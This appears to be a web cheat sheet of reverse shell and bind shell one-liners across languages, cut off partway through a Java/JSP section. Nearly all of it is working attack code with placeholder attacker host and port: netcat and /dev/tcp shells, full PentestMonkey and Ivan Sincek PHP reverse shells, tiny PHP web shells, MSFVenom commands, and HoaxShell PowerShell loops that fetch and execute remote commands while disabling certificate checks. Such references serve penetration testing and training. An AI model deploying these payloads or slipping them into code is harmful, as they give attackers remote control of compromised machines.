Reverse shell one-liners by language
131 reverse shell, bind shell, MSFVenom, HoaxShell and TTY upgrade one-liners across 31 languages and platforms. Replace {LHOST} with your attacker IP and {LPORT} with your listener port, and start the listener first.
Netcat reverse shells
nc mkfifo
Reverse shell for Linux
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {LHOST} {LPORT} >/tmp/fListener:
nc -lvnp {LPORT}nc -e
Reverse shell for Linux
nc {LHOST} {LPORT} -e /bin/bashListener:
nc -lvnp {LPORT}nc.exe -e
Reverse shell for Windows
nc.exe {LHOST} {LPORT} -e /bin/bashListener:
nc -lvnp {LPORT}BusyBox nc -e
Reverse shell for Linux
busybox nc {LHOST} {LPORT} -e /bin/bashListener:
nc -lvnp {LPORT}nc -c
Reverse shell for Linux
nc -c /bin/bash {LHOST} {LPORT}Listener:
nc -lvnp {LPORT}ncat -e
Reverse shell for Linux
ncat {LHOST} {LPORT} -e /bin/bashListener:
nc -lvnp {LPORT}ncat.exe -e
Reverse shell for Windows
ncat.exe {LHOST} {LPORT} -e /bin/bashListener:
nc -lvnp {LPORT}ncat udp
Reverse shell for Linux
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|ncat -u {LHOST} {LPORT} >/tmp/fListener:
nc -u -lvnp {LPORT}PHP Ivan Sincek
Reverse shell for Both. Ivan Sincek high-compatibility multi-OS (Linux/Windows/macOS) non-blocking reverse shell.
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/bash';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('{LHOST}', {LPORT});
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>Listener:
nc -lvnp {LPORT}sqlite3 nc mkfifo
Reverse shell for Linux
sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {LHOST} {LPORT} >/tmp/f'Listener:
nc -lvnp {LPORT}nc -e Bind
Bind shell for Linux. Attacker connects to listening target port via netcat.
nc -nlvp {LPORT} -e /bin/shListener:
nc -nv {LHOST} {LPORT}nc.exe -e Bind
Bind shell for Windows. Attacker connects to listening target port via netcat.
nc.exe -nlvp {LPORT} -e cmdListener:
nc -nv {LHOST} {LPORT}nc mkfifo Bind
Bind shell for Linux. Attacker connects to listening target port via netcat.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {LPORT} > /tmp/fListener:
nc -nv {LHOST} {LPORT}ncat -e Bind
Bind shell for Linux. Attacker connects to listening target port via netcat.
ncat -nlvp {LPORT} -e /bin/shListener:
nc -nv {LHOST} {LPORT}PentestMonkey Netcat (-e flag)
PentestMonkey shell for Linux. Traditional netcat execution flag.
nc -e /bin/bash {LHOST} {LPORT}Listener:
nc -lvnp {LPORT}PentestMonkey Netcat FIFO (mkfifo)
PentestMonkey shell for Linux. PentestMonkey OpenBSD netcat workaround using named pipe.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {LHOST} {LPORT} >/tmp/fListener:
nc -lvnp {LPORT}
PHP reverse shells
PHP PentestMonkey
Reverse shell for Both. Classic PentestMonkey standalone reverse shell. Widely used across HTB & OSCP for file uploads.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '{LHOST}';
$port = {LPORT};
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>Listener:
nc -lvnp {LPORT}PHP cmd
Reverse shell for Both
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>Listener:
nc -lvnp {LPORT}PHP cmd 2
Reverse shell for Both
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>Listener:
nc -lvnp {LPORT}PHP cmd small
Reverse shell for Both
<?=`$_GET[0]`?>Listener:
nc -lvnp {LPORT}PHP exec
Reverse shell for Linux
php -r '$sock=fsockopen("{LHOST}",{LPORT});exec("/bin/bash <&3 >&3 2>&3");'Listener:
nc -lvnp {LPORT}PHP shell_exec
Reverse shell for Linux
php -r '$sock=fsockopen("{LHOST}",{LPORT});shell_exec("/bin/bash <&3 >&3 2>&3");'Listener:
nc -lvnp {LPORT}PHP system
Reverse shell for Both
php -r '$sock=fsockopen("{LHOST}",{LPORT});system("/bin/bash <&3 >&3 2>&3");'Listener:
nc -lvnp {LPORT}PHP passthru
Reverse shell for Linux
php -r '$sock=fsockopen("{LHOST}",{LPORT});passthru("/bin/bash <&3 >&3 2>&3");'Listener:
nc -lvnp {LPORT}PHP `
Reverse shell for Both
php -r '$sock=fsockopen("{LHOST}",{LPORT});`/bin/bash <&3 >&3 2>&3`;'Listener:
nc -lvnp {LPORT}PHP popen
Reverse shell for Both
php -r '$sock=fsockopen("{LHOST}",{LPORT});popen("/bin/bash <&3 >&3 2>&3", "r");'Listener:
nc -lvnp {LPORT}PHP proc_open
Reverse shell for Both
php -r '$s=fsockopen("{LHOST}",{LPORT});proc_open("/bin/bash",[$s,$s,$s],$p);'Listener:
nc -lvnp {LPORT}PHP Bind
Bind shell for Both. Attacker connects to listening target port via netcat.
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",{LPORT});socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'Listener:
nc -nv {LHOST} {LPORT}PHP Meterpreter Stageless Reverse TCP
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -p php/meterpreter_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f raw -o shell.phpListener:
msfconsole -q -x "use exploit/multi/handler; set payload <payload>; set LHOST {LHOST}; set LPORT {LPORT}; run"PHP Reverse PHP
MSFVenom shell for Both. Generate staged or stageless Metasploit binary payload.
msfvenom -p php/reverse_php LHOST={LHOST} LPORT={LPORT} -o shell.phpListener:
nc -lvnp {LPORT}PentestMonkey PHP Reverse Shell (Full File)
PentestMonkey shell for Both. The legendary PentestMonkey PHP reverse shell file. Ready to save as revshell.php and upload to vulnerable web targets.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '{LHOST}';
$port = {LPORT};
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) { exit(1); }
if ($pid) { exit(0); }
if (posix_setsid() == -1) { exit(1); }
$daemon = 1;
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) { exit(1); }
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { exit(1); }
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (1) {
if (feof($sock) || feof($pipes[1])) { break; }
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>Listener:
nc -lvnp {LPORT}PentestMonkey Classic PHP One-Liner
PentestMonkey shell for Linux. Standard PentestMonkey PHP descriptor redirection.
php -r '$sock=fsockopen("{LHOST}",{LPORT});exec("/bin/bash -i <&3 >&3 2>&3");'Listener:
nc -lvnp {LPORT}
HoaxShell reverse shells
Windows CMD cURL
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
@echo off&cmd /V:ON /C "SET ip={LHOST}:{LPORT}&&SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET protocol=http://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout 1" > NULListener:
python3 hoaxshell.py -s {LHOST}PowerShell IEX
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
$s='{LHOST}:{LPORT}';$i='14f30f27-650c00d7-fef40df7';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/14f30f27 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/650c00d7 -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/fef40df7 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell IEX Constr Lang Mode
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
$s='{LHOST}:{LPORT}';$i='bf5e666f-5498a73c-34007c82';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/bf5e666f -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/5498a73c -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/34007c82 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell Outfile
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
$s='{LHOST}:{LPORT}';$i='add29918-6263f3e6-2f810c1e';$p='http://';$f="C:Users$env:USERNAME.localhack.ps1";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add29918 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/6263f3e6 -Headers @{"Authorization"=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f810c1e -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell Outfile Constr Lang Mode
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
$s='{LHOST}:{LPORT}';$i='e030d4f6-9393dc2a-dd9e00a7';$p='http://';$f="C:Users$env:USERNAME.localhack.ps1";$v=IRM -UseBasicParsing -Uri $p$s/e030d4f6 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/9393dc2a -Headers @{"Authorization"=$i}); if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/dd9e00a7 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}Windows CMD cURL https
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
@echo off&cmd /V:ON /C "SET ip={LHOST}:{LPORT}&&SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET protocol=https://&&curl -fs -k !protocol!!ip!/eb6a44aa -H !sid! > NUL & for /L %i in (0) do (curl -fs -k !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl -fs -k !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout 1" > NULListener:
python3 hoaxshell.py -s {LHOST}PowerShell IEX https
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
add-type @"
using System.Net;using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$s='{LHOST}:{LPORT}';$i='1cdbb583-f96894ff-f99b8edc';$p='https://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/1cdbb583 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f96894ff -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/f99b8edc -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell Constr Lang Mode IEX https
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
add-type @"
using System.Net;using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$s='{LHOST}:{LPORT}';$i='11e6bc4b-fefb1eab-68a9612e';$p='https://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/11e6bc4b -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/fefb1eab -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/68a9612e -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell Outfile https
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
add-type @"
using System.Net;using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$s='{LHOST}:{LPORT}';$i='add29918-6263f3e6-2f810c1e';$p='https://';$f="C:Users$env:USERNAME.localhack.ps1";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add29918 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/6263f3e6 -Headers @{"Authorization"=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f810c1e -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}PowerShell Outfile Constr Lang Mode https
HoaxShell shell for Windows. Windows reverse shell payload connecting over HTTP/HTTPS.
add-type @"
using System.Net;using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$s='{LHOST}:{LPORT}';$i='e030d4f6-9393dc2a-dd9e00a7';$p='https://';$f="C:Users$env:USERNAME.localhack.ps1";$v=IRM -UseBasicParsing -Uri $p$s/e030d4f6 -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/9393dc2a -Headers @{"Authorization"=$i}); if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/dd9e00a7 -Method POST -Headers @{"Authorization"=$i} -Body ($e+$r)} sleep 0.8}Listener:
python3 hoaxshell.py -s {LHOST}
Java reverse shells
Java #1
Reverse shell for Linux
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}Listener:
nc -lvnp {LPORT}Java #2
Reverse shell for Linux
public class shell {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1")
.redirectErrorStream(true);
try {
Process p = pb.start();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}Listener:
nc -lvnp {LPORT}Java #3
Reverse shell for Both
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
String host = "{LHOST}";
int port = {LPORT};
String cmd = "/bin/bash";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}Listener:
nc -lvnp {LPORT}Java Web
Reverse shell for Both
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
%>Listener:
nc -lvnp {LPORT}Java Two Way
Reverse shell for Both
<%
/*
* Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
* If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
* Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing
* the command specified in the HTML form). This is to avoid to keep it simple.
*/
%>
<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>
<html>
<head>
<title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
<input TYPE="text" NAME="shell">
<input TYPE="submit" VALUE="Send">
</form>
<pre>
<%
// Define the OS
String shellPath = null;
try
{
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
shellPath = new String("/bin/sh");
} else {
shellPath = new String("cmd.exe");
}
} catch( Exception e ){}
// INNER HTML PART
if (request.getParameter("shell") != null) {
out.println("Command: " + request.getParameter("shell") + "\n<BR>");
Process p;
if (shellPath.equals("cmd.exe"))
p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
else
